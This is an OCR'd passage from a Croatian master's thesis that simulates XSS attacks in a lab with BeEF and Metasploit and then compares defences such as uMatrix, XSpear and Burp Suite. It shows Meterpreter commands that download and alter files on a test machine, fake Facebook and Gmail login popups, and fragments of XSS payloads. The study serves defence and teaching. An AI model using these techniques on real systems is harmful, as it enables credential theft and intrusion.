lokacija na kojoj se nalazi terminal pri pokretanju sesije. Kako je sada Kali racunalo povezano
na Windows virtualnu masinu, moguce je putem terminala kretati se kroz sve direktorije i tako

raditi razli¢ite radnje koje mogu biti maliciozne za korisnika da se radi o stvarnom napadu.

U ovom primjeru je takoder koriSten Meterpreter. Radi se 0 modulu u Metasploit
radnom okviru koji omoguéava interaktivno koriStenje shellaf. Na sluzbenoj stranici Metasploit
radnog okvira izmedu ostalog nalazi se i popis naredbi koje se koriste u Meterpreteru te njihovo
objasnjenje. Veéina naredbi je sli¢na onima u Bashu’ pa je tako moguée koristiti ,,cd naredbu
za promjenu direktorija te ,,/s““ za ispis datoteka i mapi u trenutnom direktoriju. Na slici 19

moze se vidjeti §to se sve nalazi u direktoriju ,,C:\Users\DomVirtual\Documents *.

Terminate channel 17 [y/N] ¥
meterpr
\DomVirtual\Documents

Type Last modified ELE]

dir 0 T45:0 My Music
dir 14510 My Pictures
dir My Videos
dir :

fil

dir

dir

meterpreter >

Slika 19. Ispis "Is" naredbe

Prema ispisu na slici 19, moze se zakljuciti da se moze doc¢i do nekih datoteka koje bi
mogle nastetiti korisniku napadnutog racunala. Navigacijom terminala do mape ,,fotografije
te pregledom Sto se unutra nalazi, primije¢eno je da se unutra nalazi fotografija. Radi se o
fotografiji naziva ,,newYorkSample.jpg* koja je postavljena tamo u svrhu provodenja ovog
primjera. Pokretanjem naredbe ,download
c:\\Users\DomVirtual\Documents\fotografije\new YorkSample.jpg* dolazi do preuzimanja

navedene fotografije te se ona pojavljuje na Kali racunalu, kao $to je vidljivo na slici 20.

6 Sucelje kojim je moguce upravljati operativnom sustavu
7 Programski jezik
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reot - File Manager
File Edit View Go Help
T & = frooff

DEVICES

_E File System = K
754 KB Volume =
119 GB Volume

PLACES

& root -r.J

Desktop Documents Downloads

Desktop

' Trash

Docurments
cuments "1
=

Music Pictures Public

Music
Pictures Templates neworkSample.jp
Videos 9

Downloads
NETWORK

D Browse Network

"newYorkSample.jpg": 278.1 KiB (284,781 bytes) JPEG image

Slika 20. Fotografija preuzeta s Windows virtualne masine

S obzirom da je preuzimanje datoteke s udaljenog drugog racunala uspjelo, ovaj primjer
se moze preslikati na neku stvarnu situaciju gdje napada¢ moZze preuzeti bitne datoteke na ovaj
nacin, bez znanja vlasnika tih datoteka, iskoristiti ih za neke daljnje nezakonite radnje te mu

tako uvelike nastetiti.

Udaljenim pristupom je takoder moguce i izmjenjivanje datoteka na drugom racunalu.
Za potrebu slijedeCeg primjera napravljena je tekstualna datoteka nazvana ,,Lozinke *, stavljena
U mapu ,datoteke te su u nju upisane tri kratke lozinke. Naredbom ,,edit
c:\\Users\DomVirtual\Documents\datoteke\Lozinke.txt“ se u terminalu otvara Vim uredivac
teksta sa sadrzajem navedene tekstualne datoteke te je u svrhu ovog primjera prvi red izmijenjen

u,,Lozinka23441.
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@ 192.168.1.118 x
Ve | A Nes 102 1£0 1 140
< A
_| lozinke - Notepad = O X
File Edit Format View Hel
Dohb ™. ;
IL021nka23441 (7]
Lozinka2
-- Qv Lozinka3
PS: poty =
i 1 KB
Unos: | |
Ln1, Col1 100%  Windows (CRLF) UTF-8
< N >
1item 1item selected 34 bytes Ti; -
f = ENG 232PM
H AR Type here to search ABBRY & o B

Q)OD] @[/ @E@@@nghwonual

Slika 21. Izmijenjena datoteka "lozinke.txt"

Na slici 21 prikazana je navedena datoteka na Windows virtualnoj masini te je vidljivo
kako je ona uistinu izmijenjena. Kada bi se opet ovaj primjer preslikao na stvarni napad,
napadac bi mogao pristupiti nekom za napadnutog korisnika bitnom dokumentu. Osim c¢itanja
sadrzaja dokumenta, u primjeru je prikazano kako je moguce 1 izmijeniti sadrzaj datoteke u

korist napadaca.

KoriStenjem Metasploit radnog okvira i Meterpretera moguce je izvesti brojne
maliciozne radnje kao S§to su dohvacanje raznih bitnih informacija o napadnutom operativnom
sustavu ili na primjer izvrSavanje naredbi kao da se one izvrSavaju na naredbenoj liniji na tom
racunalu. Prethodno prikazani prakti¢ni primjeri samo su neki od malicioznih radnji koje je
moguce izvesti uporabom BeEF i Metasploit radnih okvira, a koji su moguc¢i kao napadi u

stvarnosti.
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5. Sinteza rezultata i prijedlog smjernica zastite

Kroz prethodnim poglavljima analizirani su XSS napadi kao jedna od vodecih prijetnji
u kontekstu kibernetickih napada. Kroz analizu statistickih podataka dobivenih iz relevantnih
izvjeStaja zakljuCeno je kako su XSS konstantno u vrhu §to se tice ucestalosti pojave i
vjerojatnosti pronalaska ranjivosti na web rjeSenjima. U Cetvrtom poglavlju napravljena je
simulacija XSS napada. Razvijena je jednostavna web stranica u koju je implementirana
maliciozna skripta pomo¢u BeEF radnog okvira. Simulacija je izvrSena u laboratorijskim
uvjetima pa je bilo mogudée prikupiti rezultate sa strane napadaa 1 sa strane napadnutog

korisnika kako bi se oni analizirali i interpretirali u kontekstu stvarnog napada.

Simulacija je izvrSena kroz provodenje nekoliko napada, odnosno izvr§avanjem naredbi
kroz BeEF korisnic¢ko sucelje. Svaku od simuliranih naredbi moguce je koristiti kao zasebni
napad ili u kombinaciji sa drugima, ovisno koji je napadacev krajnji cilj. Prva je testirana
naredba Pretty theft, a oblik sko¢nog prozora je bila prijava na Facebook druStvenu mrezu.
Naredba se uspjesno izvrsila te je skocni prozor prikazan na povezanom pregledniku. Kao
rezultat s napadacke strane vidljiv je korisnikov unos korisni¢kog imena i lozinke. Ovakva vrsta
napada u stvarnoj situaciji moze napadnutom korisniku ostaviti velike posljedice jer napadac
ima njegove podatke za prijavu. Cesta praksa mnogih korisnika dru$tvenih mreZa i ostalih
usluga na Internetu je koristenje iste lozinke za prijavu na vise pa ¢ak i na sve usluge. Zbog
toga podaci dobiveni ovom naredbom mogu kompromitirati profile na raznim web uslugama
koje napadnuti korisnik koristi. Sli¢an simulirani napad je i Google phishing. Kao rezultat na
napadnutom pregledniku prikazano je sucelje za prijavu na Gmail te nakon unosa podataka, oni
su takoder bili vidljivi u BeEF sucelju. Kod ove naredbe je zamijeceno da je graficko sucelje
zastarjelo pa postoji moguénost da korisnik shvati kako se radi o laznoj prijavi. Takoder, pri
unosu podataka i prijavi, ova naredba preusmjerava na stvarno Gmail sucelje, $to ju ¢ini tezom

za primjecivanje da se radi o napadu.

Trec¢i simulirani napad je za detekciju drustvenih mreza. Uspjesno je izvrSena te su
dobiveni rezultati u obliku ,,true “ ili ,,false “ vrijednosti. Napada¢ ove rezultate moZze iskoristiti
kao podatak koje drustvene mreze koristi napadnuti korisnik ili npr. moze Kkoristiti u
kombinaciji sa nekim drugim naredbama. Na primjer, ako kao rezultat dobije da je korisnik

prijavljen na Gmail, vece su Sanse da ¢e uspjesno izvrsiti Google phishing naredbu.
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Cetvrti simulirani napad sluzi za dohvat HTML koda trenutno otvorene web stranice.
Kao rezultat je u BeEF sucelju ispisan HTML kod, a kako je bila otvorena stranica koja je
napravljena u svrhu simulacije, moglo se zakljuciti kako je dohvaceni kod ispravan. U stvarnom
napadu pomoc¢u ove naredbe moguce je analizirati kod otvorene stranice te na temelju toga
pronaci ranjivosti koje je moguce iskoristiti za daljnje napade, npr. implementaciju drugih

malicioznih skripti.

U zadnjem simuliranom napadu prikazan je scenarij u kojem je koristen XSS napad
kako bi se doslo do udaljenog pristupa napadnutom rac¢unalu. U Metasploit alatu je kreirana
datoteka sa malicioznim sadrzajem te je pomocu BeEF-a preglednik uspjeSno usmjeren na
preuzimanje datoteke. Nakon pokretanja datoteke napadacu je bio mogu¢ pristup ra¢unalu. S
napadnutog racunala je uspjesno dohvacena fotografija te izmijenjen jedan tekstualni
dokument. U stvarnosti bi ovakav napad mogao nanijeti veliku Stetu za korisnika jer napadac

ima pristup svim informacijama i moguénost izvrSavanju naredbi u operativnom sustavu.

U nastavku je prikazana tablica 1 u kojoj su prikazani podaci iz prethodne sinteze
rezultata. Navedeni su rezultati pojedinog napada te njihove potencijalne posljedice za

napadnutog korisnika.

Tablica 1. Rezultati provedene simulacije

Napad Rezultat Posljedice za korisnika

Pretty theft

Prikaz sko¢nog prozora za
prijavu na Facebook
Vidljiv korisnikov unos na
strani napadaca

Napadac ima pristup
podacima za prijavu
Moguénost prijave na
neku od drustvenih
mreza

Moguca
kompromitacija prijave
na druge usluge ako
korisnik koristi iste
podatke za prijavu

Google phishing

Otvaranje laznog sucelja za
prijavu na Gmail

Preglednik preusmjeren na
stvarno Gmail sucelje $to
napad ¢ini tezim za detekciju
Vidljiv korisnikov unos na
strani napadaca

Napadac ima pristup
podacima za prijavu na
Gmail

Moguénost prijave i
Citanja kompletnog
sadrzaja Gmaila
Moguca
kompromitacija prijave
na druge usluge ako
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korisnik Kkoristi iste
podatke za prijavu

Detekcija otvorenih
sesija na drustvenim
mrezama

U BeEF sucelju vidljiva
povratna informacija je li
korisnik prijavljen na neku od
ponudenih drustvenih mreza

Napada¢ moze
iskoristiti informaciju
koje drustvene mreze
koristi korisnik

Na temelju rezultata
ove naredbe korisnik je

napade

Dohvat HTML koda
stranice

U BeEF sucelju prikazan
HTML kod trenutno otvorene
stranice kao rezultat naredbe

Napadac iz koda web
stranice moze pronaci
ranjivosti

Mogucnost
implementacije
malicioznih skripti na
temelju procitanog
koda

Preusmjeravanje na
Metasploit sadrzaj

Preusmjeravanje povezanog
preglednika na preuzimanje
maliciozne datoteke
Omogucen udaljeni pristup
napadnutom rac¢unalu

Korisnikovo racunalo
je kompromitirano
preuzimanjem datoteke
Krada informacija
Izmjena sadrzaja
datoteka

IzvrSavanje naredbi

Osim navedenih rezultata pojedinog napada, primijeé¢eno je kako, iako Windows ima

implementiran antivirusni program, nije bilo blokirano izvrSavanje maliciozne skripte u web

stranici te su samim time sve naredbe uspjesno izvrSene. Na temelju toga zakljuceno je kako je

potrebna dodatno zalaganje pojedinog korisnika kako bi se valjano zastitio od XSS napada.

Zbog toga su u nastavku analizirani prethodno testirani prijedlozi zastite. Razvrstani su u one

koji se mogu implementirati unutar preglednika te one za koje je potrebna instalacija softwarea

na operativnom sustavu, odnosno izvan preglednika.

5.1. Prijedlozi zastite u web pregledniku

Prva metoda je blokiranje JavaScript koda u samom web pregledniku. Ova metoda ne

zahtjeva instalaciju nikakvih dodatnih alata jer vecina danas dostupnih web preglednika ima

implementiranu ovu opciju u svojim postavkama. U ovom primjeru je koristeni preglednik je

Google Chrome te je u njegovim postavkama uklju¢ena opcija za iskljuc¢ivanje JavaScripta na
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svim stranicama. Na slici 22 prikazan je rezultat otvaranja maliciozne stranice nakon blokiranja

JavaScripta.

@ 1921681118 X  NewTsb x|+ = o X

<« C A Notsecure | 192.168.1.118 @ n @

Dobrodosao na stranicu

-- Ovo je testna Web stranica

PS: potpuno je sigurna

Unos

‘ 5 : ENG  255PM
ﬂ L Type here to search { ) st A0 =3

Slika 22. Blokiran JavaScript

Na slici 22 vidljiva je poruka u pregledniku kako je na otvorenoj stranici blokiran
JavaScript, a provjerom u BeEF sucelju primijeceno je kako preglednik viSe nije na popisu
povezanih preglednika. Prema tome, moze se zakljuditi kako skripta nije izvrSena te napadac u
ovom slu¢aju nema kontrolu nad korisnikovim preglednikom. Ova metoda iako je djelotvorna,
ima veliki minus, a to je da mnoge moderne stranice ne¢e imati dinamicke dijelove jer ¢e
blokirati sav JavaScript na njima. Kako se mozZe definirati na koje stranice se odnosi blokada,
moguce je odrediti neku stranicu za koju korisnik sumnja da bi mogla sadrzavati opasne skripte

te tako umanjiti negativne strane ove metode.
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Druga testirana metoda iziskuje instalaciju alata uMatrix. Radi se o jednostavnom alatu
dostupnom na GitHubu, ali dolazi i kao prosirenje za Google Chrome te je dostupan u Chrome
web-trgovini. Priliéno je jednostavan za instalaciju i osnovno koriStenje pa je pogodan za

koristenje veéini korisnika. Na slikama 23 i 24 prikazan je alat uMatrix.

@ 192.168.1.118 X I uMatrix— Logger X ‘ + = X

& C A Notsecure | 192.168.1.118 * B » ‘ :

.
Dobrodosao na stranicu 192.168.1.115 [INNN O TR 8w Z %
-- Ovo je testna Web stranica
15 arty (=
PS: potpuno je sigurna 1921681118 1
Unos:|
Slika 23. Aktiviran uMatrix
S 192168.1.118 X I uMatrix— Logger X + = X
(& ® uMatrix | chrome-extension://ogfcmafjalglgifnmanfmnieipoejdcf/logger-ui.html w » 0
All v\
v V4 Y filter expression(s) ‘ ‘ 1000 ‘
192.168.1.118 | -- |script http://192.168.1.118:3000 o0
192.168.1.118| -~ |script hitp//192.168.1.118:3000 "co
192.168,1.118 | -~ script http://192.168.1.118:3000 1o
192.168,1.118| -- |script http://192.168.1.118:3000 oo
192.168,1.118 | -- |script http://192.168.1.118:3000/c/h oh
192.168.1.118| -~  script http://192.168.1.118:3000 nook
192.168.1.118 -- script http://192.168.1.118:3000 nook
192.168,1.118| -~ | script hitp//192.168.1.118:3000 b
192.168,1.118 -- script http://192.168.1.118:3000 hook
192.168,1.118| -~ | script hitp//192.168.1.118:3000 nco
192.168.1.118 | -~ script http://192.168.1.118:3000, hook
192.168,1.118| -- | script hitp//192.168.1.118:3000 oo
192.168,1.118 -~ script http://192.168.1.118:3000 oo
192.168,1.118| -- |script http://192.168.1.118:3000 oo
192.168.1.118 -- script http://192.168.1.118:3000, oo
192.168,1.118| -~ |script http://192.168.1.118:3000 noo
1 192.168,1.118 | -- |script http://192.168.1.118:3000 oo
1 192.168,1.118| -- |script http://192.168.1.118:3000 oo
1 192.168,1.118 | -- script http://192.168.1.118:3000 ook
1 192.168,1.118| -- |script http://192.168.1.118:3000 oo
1 192.168,1.118 | -~ script http://192.168.1.118:3000 ook s)
192.168,1.118| == | script http://192.168.1.118:3000,hook js7BEEFHOOK=PYeCsn74q

Slika 24. pronadeni BeEF kolacici
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Vecé na slici 24 moze se vidjeti da je uMatrix pronasao malicioznu skriptu na otvorenoj
stranici. Daljnjim istrazivanjem, u zapisniku od alata primijecen je ispis o pronadenim BeEF
kola¢i¢ima te su oznaceni crvenom bojom kao upozorenje. Korisnik na temelju ovoga moze
zakljuciti da je stranica maliciozna. Takoder, alat je blokirao skriptu te preglednik nije povezan

na BeEF.

5.2. Prijedlozi zaStite izvan web preglednika

Osim u prethodnom potpoglavlju navedene dvije metode koje se implementiraju u sami
web preglednik, testirana su i dva alata koja se instaliraju kao zasebni programi te mogu
posluziti da detekciju XSS skripti ili XSS ranjivosti. Radi se o alatima XSpear te Burp Suite.

XSpear je alat koji se uglavnom temelji na pronalazenju reflektiranih XSS napada.
Dostupan je na GitHubu te se takoder vrlo lako instalira na Kali Linux, gdje je i u ovom radu
testiran. Kako je XSpear namijenjen pronalazenju reflektiranin XSS napada, odnosno, ranjivosti
na iste, u ovom radu je u svrhu prikaza primjera rada alata testirana ranjiva web stranica tvrtke

Acunetix javno dostupna upravo za ovu svrhu. Na slici 25 prikazan je rezultat skeniranja.

root@kali: ~[XSpear

File Actions Edit View Help

| No | TYPE

—
|
|
|
[
[
|
|
|

8 |
|

0|
|
|
[
|
|
|
|
|
|
|

put autofocus onfocu lert(45)>
autofocus onfocu
ipt6#00

|
[
[
[
[
[
[
[
[
[
[
[
| 2
| 13
[
[
[
[
[
[
[
[
[
|
I

Slika 25. Rezultati XSpear skeniranja
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Na slici 25 je vidljivo kako XSpear ispise koliki je rizik od ranjivosti, sadrzaje koje je
testirao te opis ranjivosti. Ovaj alat nije toliko namijenjen prosje¢nim korisnicima, ali moze
uvelike pomo¢i programerima web stranica te penetracijskim testerima kako bi se na vrijeme

otkrila ranjivost web stranice te poduzele odgovarajuce daljnje sigurnosne mjere.

Cetvrta testirana metoda je koristenje alata Burp Suite. Burp Suite je alat namijenjen
upravo mreznoj sigurnosti i takoder je dostupan na Kali Linuxu te nije potrebna dodatna
instalacija. Ovaj alat radi na principu proxy posluzitelja. U postavkama web posluzitelja se
definira da sav promet prolazi kroz Burp Suite, a on cijelo vrijeme skenira za potencijalno
opasnim sadrzajem. Na slici 26 prikazan je isjeCak iz sucelja alata sa ispisom rezultata

skeniranja.

J Raw ] Params I Headers ]K]

t m \n Actions v

1 GET /dh?bh=3ctQKLDZYgBfhAcSTl1q7Kzr5isJeqi2dggj ADbZYBrDuA3cOUMO4ykHSpEgdO1piPVL dMkaFcInW4UMEs1d=9&pid=18&pc=1&d=
W3s1Y21kIjowlLCIyZXN1bHRzIjp7IjA10nsiaWQi0j csInRpbWUi0iIONzIuODc2IiwidHIWZSIGImZyY3VzIiwieCI6MCwieSIGMCwidGFyZ2VOI]j pudWxsLCIkY
1bnQifVe%3D& =1611503810619 HTTP/1.1

2 Host: 192.168.1.118:3000

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

4 Accept: */%

5 Accept-Language: en-US,en;q=0.5

G Accept-Encoding: gzip, deflate

7 Connection: close

8 Referer: http://192.168.1.118/

9 Cookie: BEEFHOOK=3ctQKLDZYgBfhAcSTliq7KzrSisJeqi2dggj ADbZYBrDuA3cOUMO4ykHSpEgd0lpiPV1dMkaFcInw4UM

Slika 26. Ispis Burp Suite skeniranja

Kao $to se moze vidjeti na slici 26, alat je pronasao ,,BEEFHOOK* kolaci¢ po kojemu
se moze zakljuciti da stranica sadrzi malicioznu skriptu. Osim prikazanog ispisa, skripta je
takoder bila blokirana pa preglednik nije bio povezan na BeEF, kao i kod nekih prethodnih
analiziranih metoda. Ova;j alat takoder predstavlja dobro rjeSenje zastite za krajnjeg korisnika,
ali je potrebno relativno vise znanja u koristenju ra¢unalom, u odnosu na npr. ranije prikazan

uMatrix koji je jednostavniji za implementaciju i kriStenje.

5.3. Sinteza prijedloga zastite

U poglavljima 5.2. i 5.3. analizirani su prijedlozi zastite od XSS napada. Svaka metoda

zaStite razlikuje se po nacinu implementacije, funkcionalnostima te svaka ima svoje prednosti
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i nedostatke. Tokom testiranja prac¢ene su navedene karakteristike te su navedene u nastavku u

tablici 2.

Tablica 2. Rezultati analize prijedloga zastite

Metoda | Implementacija | Funkcionalnosti Prednosti Nedostaci
e Aktiviranje u | e Blokira ¢ Jednostavna ¢ Blokira
postavkama izvrSavanje implementacija | izvrSavanje svih
preglednika JavaScript ¢ Nije potrebna JavaScript
Blokiranje elemenata pri dodatna elemenata pa se
JavaScripta otvaranju web instalacija neke stranice ne
stranica ili e Dostupno na mogu Koristiti
aplikacija vecini
preglednika
e Instalacija ¢ Blokira ¢ Jednostavna e Moguca kriva
alata kao JavaScript implementacija | procjena rizika
prosirenje u elemente koje | e Blokira samo na web
: pregledniku prepozna kao JavaScript stranici/aplikaciji
uMatrix opasnost elemente koje | e Relativno
e Rezultate prepozna kao komplicirano
pretrage rizi¢ne modificiranje
sprema u e Otvorenog je
zapisnik koda
e Instalacija e Pronalazi XSS | e Vrlo dobri e Alat ne detektira
alata na Linux ranjivosti na rezultati kod pohranjeni XSS
distribucijama definiranoj pronalazenja ¢ Dostupan samo
mreznoj ranjivosti na na Linux OS-u
XSpear lokaciji reflektirani
XSS
e Veca primjena
kod razvojnih
programera
e Instalacija e Analizirasav | e Sirok spektar e Besplatna verzija
alata na promet koji mogucnosti nema sve
operativnom prolazi kroz e Dostupan na funkcionalnosti
Burp Proxy |  sustavu alat vise ¢ Najkompliciraniji
e Konfiguracija | e Blokira i operativnih za koristenje od
u pregledniku zapisuje sustava analiziranih alata
prijetnje e Pouzdan

Svaka metoda je tokom testiranja ispunila svoju namjenu no karakteristike nisu jednake.
Blokiranje JavaScripta je najjednostavnija metoda, no ima veliki nedostatak, a to je da njenom
implementacijom web stranice i aplikacije gube svoje dinamicke elemente. Implementacija

uMatrix alata se pokazalo kao najpogodnija metoda za krajnjeg korisnika. Instalira se kao

44



prosirenje u web preglednik pa se moze rec¢i da je implementacija takoder jednostavna. Alat je
uspjesno blokirao malicioznu skriptu te time onemoguéio kompromitaciju preglednika, dok
ostali, ne Stetni JavaScript elementi na web lokacijama nisu blokirani pa omoguc¢ava neometano
koriStenje 1 posjecivanje web stranica i aplikacija. XSpear se razlikuje od ostalih jer je
namijenjen prvenstveno detekciji reflektiranin XSS napada te je dostupan samo na Linux
operativnim sustavima pa nije toliko pogodan za sve korisnike. S druge strane ima veliku
primjenu kod razvojnih programera ukoliko Zele testirati svoju web stranicu na XSS ranjivosti.
Posljednja metoda je koristenje Burp Proxy alata. Alat je dostupan na Windows, Linux i OSX
operativnhom sustavu, §to mu je velika prednost. Uspjesno je detektirao malicioznu skriptu, a
sami alat ima mnogo mogucnosti. Nedostatak mu je Sto besplatna verzija nema sve
funkcionalnosti kao i1 pla¢ena te ima dulji postupak za implementaciju pa nije pogodan za

korisnika koji nije vjest u koristenju racunala.
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6. Zakljucak

S porastom u koristenju Interneta za svakodnevne radnje dolazi i povecanje rizika od
kibernetickih napada. Svaki korisnik Interneta 1 usluga koje se pruzaju putem Interneta moze
biti meta napadaca. Analizom dosadasnjih istrazivanja moze se zakljuciti da je zastupljenost
XSS napada velika te sama cinjenica da ih je OWASP uvrstio u Top ten popis govori o
ozbiljnosti navedenih napada. Mnoga su istrazivanja napisana o XSS napadima te predlozene
smjernice zastite, Sto pomaze u podizanju svijesti o ovim napadima pa je i ovaj diplomski rad

pisan u tom smjeru.

Prije svega potrebno je razumjeti na koji na¢in XSS napadi funkcioniraju te kako oni
mogu utjecati na napadnutog korisnika. Zato su kao svojevrsna podloga za daljnje istrazivanje
u ovom diplomskom radu analizirane vrste ovih napada. Moze se zakljuciti kako se XSS napadi
mogu izvesti na viSe nacina te mogu imati razliCite posljedice za krajnjeg korisnika jer XSS

napad moze biti samo jedan korak koji ¢e omoguciti daljnje maliciozne radnje.

Radom je prikazana simulacija XSS napada koristenjem BeEF radnog okvira. Ovaj alat
je odabran zbog svoje dostupnosti te ga prema tome moze koristiti bilo tko, a s druge strane je
dovoljno moc¢an za kvalitetno prikazivanje napada. U prvom dijelu cetvrtog poglavlja
primjerima su prikazane neke od moguénosti alata kojima napada¢ moze doci do odredenih
informacija koje mozZe iskoristiti za daljnje maliciozne radnje. U XSS napadima cesto se koristi
kombinacija viSe alata kako bi napada¢ dobio viSe moguénosti za iskoriStavanje ranjivosti
preglednika pa je zato i u ovom diplomskom radu prikazan primjer koristenja BeEF-a u
kombinaciji sa Metasploit radnim okvirom. Tim primjerom je prikazano kako se putem XSS
napada moze do¢i do udaljenog pristupa rac¢unalu i svim podacima na njemu. Analizom
prakti¢nog dijela rada i ¢injenicom da su provedene simulacije uspjele, zakljuceno je kako uz
poznavanje alta koji su dostupni svima moguce je izvesti napade koji mogu nanijeti ozbiljnu
Stetu napadnutom korisniku. Navedeno jo§ jednom potvrduje nuznost svakog korisnika za

poduzimanje mjera zastite.

U zadnjem poglavlju rada sintetizirani su rezultati istraZivanja i prikazani kroz tablicu.
Za svaki simulirani napad navedene su potencijalne posljedice koje moze imati za napadnutog
korisnika. Na temelju analize rezultata takoder su predlozene i smjernice zastite. Prijedlozi su

razvrstani u one koji se implementiraju unutar web preglednika te one za koje je potrebna
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instalacija alata izvan preglednika. Od predlozenih alata najviSe se istice XSpear jer namijenjen
obrani od reflektiranth XSS napada te moze posluziti kao metoda prevencije razvojnim
programerima. Najboljim omjerom funkcionalnosti i jednostavnosti od prikazanih alata najvise
se isti¢e UMatrix. Testiran je otvaranjem web stranice napravljene za ovu simulaciju te je odmah
blokirao malicioznu skriptu. Samim time BeEF se nije mogao povezati na preglednik te

izvrSavanje naredbi 1 prikupljanje podataka nije bilo moguce.
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Popis kratica

XSS

OWASP

ENISA

CSRF

PHP

URI

HTTP

SWAP

HTML

CSS

DOM

URL

(Cross — Site Scripting) Vrsta kibernetickih napada koja se temelji na

implementaciji maliciozne skripte u web stranicu

(Open Web Application Security Project) Organizacija koja se bavi mreznom

sigurnos$¢u

(European Network and Information Security Agency) Agencija Europske unije

za kibersigurnost

(Cross Site Request Forgery) Vrsta kibernetickog napada kojim se korisnika

navodi na izvrSavanje neZeljenih radnji na stranici na kojoj se nalazi

(Hypertext Preprocessor) Programski jezik koji se koristi u razvijanju web

rjeSenja

(Uniform Resource ldentifier) Niz znakova koji identificiraju fizicke ili logicke

resurse

(Hyper Text Transfer Protocol) Protokol aplikacijskog sloja koji omogucéava

Kreiranje i navigaciju po web stranicama

(Secure Web Application Proxy) Naziv rjeSenja za detekciju i prevenciju XSS

napada

(HyperText Markup Language) Programski jezik za izradu web stranica

(Cascading Style Sheets) Programski jezik koji opisuje kako ¢e se prikazivati
HTML stranice

(Document Object Model) Sucelje koje prikazuje HTML ili XML dokumente u

strukturnom obliku

(Uniform Resource Locator) Referenca na neku mreznu lokaciju, ¢esto koristen

naziv i web adresa
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ID (Identifier) Identifikator

DOS (Denial of Service) Uskraéivanje usluge, uglavnom Kkoristeno u kontekstu

napada uskraéivanjem usluge
Ul (User Interface) Korisni¢ko sucelje
IP (Internet Protocol) Protokol na kojem se temelji komunikacija putem Interneta
WLAN (Wireless Local Area Network) Bezi¢na lokalna mreza

TCP (Transmission Control Protocol) Protokol koji omoguéava pouzdanu isporuku

podataka u kontinuiranom redoslijedu
LHOST (Local Host) Lokalni uredaj na mrezi

LPORT (Local Port) Lokalni port
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